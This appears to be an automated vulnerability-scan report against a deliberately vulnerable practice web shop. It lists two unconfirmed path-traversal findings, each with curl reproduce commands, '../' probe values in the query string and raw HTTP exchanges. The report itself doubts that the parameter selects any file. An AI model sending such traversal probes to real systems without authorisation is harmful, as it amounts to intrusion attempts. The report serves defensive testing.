<a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?data=1&src=&dir=1&lang=1&view=1&redirect=1&returnTo=…

request

GET /cart.php?data=1&src=&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:03:29 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · src unconfirmed · low confidence BV-049 info

location: GET https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: src in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

src reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

src looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1'

GET /catalog.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1…

request

GET /catalog.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1…

request

GET /catalog.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=sksasp9ya/%2e%2e/1&dir=1&lang=1&view=1…

request

GET /catalog.php?data=1&src=sksasp9ya/%2e%2e/1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=sksasp9ya/1&dir=1&lang=1&view=1…

request

GET /catalog.php?data=1&src=sksasp9ya/1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:50 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?data=1&src=&dir=1&lang=1&view=1&redirect=1…

request

GET /catalog.php?data=1&src=&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:51 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · src unconfirmed · low confidence BV-050 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1
input: src in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

src reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

src looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1'

GET /sekumart.sekuripy.hr/login.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=sksasp9ya/../1&dir=…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=sksasp9ya/../1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=sksasp9ya/%2e%2e/1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=sksasp9ya/%2e%2e/1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=sksasp9ya/1&dir=1…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=sksasp9ya/1&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:18 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

